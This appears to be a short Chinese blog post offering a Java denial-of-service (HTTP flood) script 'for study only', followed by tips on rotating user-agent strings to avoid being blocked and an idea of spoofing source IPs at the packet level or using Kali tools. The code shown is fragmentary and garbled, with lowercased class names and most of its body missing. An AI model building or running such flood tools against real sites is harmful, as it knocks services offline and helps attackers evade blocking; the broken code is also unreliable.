dos攻击：拒绝服务攻击

具体的原理不再多说

我这里是java实现的

推荐使用python做这种脚本，不要用java

 

我写的仅供参考学习，请勿做坏事

 

package dos;

import java.net.httpurlconnection;
import java.net.url;
import java.net.urlconnection;
import java.util.arraylist;
import java.util.random;
import java.util.concurrent.executorservice;
import java.util.concurrent.executors;

        attack(url2);

        useragentslist.add("applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1");
    }
}

 

注意事项：

我虽然用user-agent列表来混淆对方，这样从一定程度上可以防止被封

但是这不是伪造源ip的方式

只要对方下定决心来查你，怎么样你都会被查到

不过，我想到另一种思路，从数据包的层次修改源ip地址，这样的结果是收不到回包，不过可以做到攻击效果

以后有空试一试，或者直接用kali里面的工具
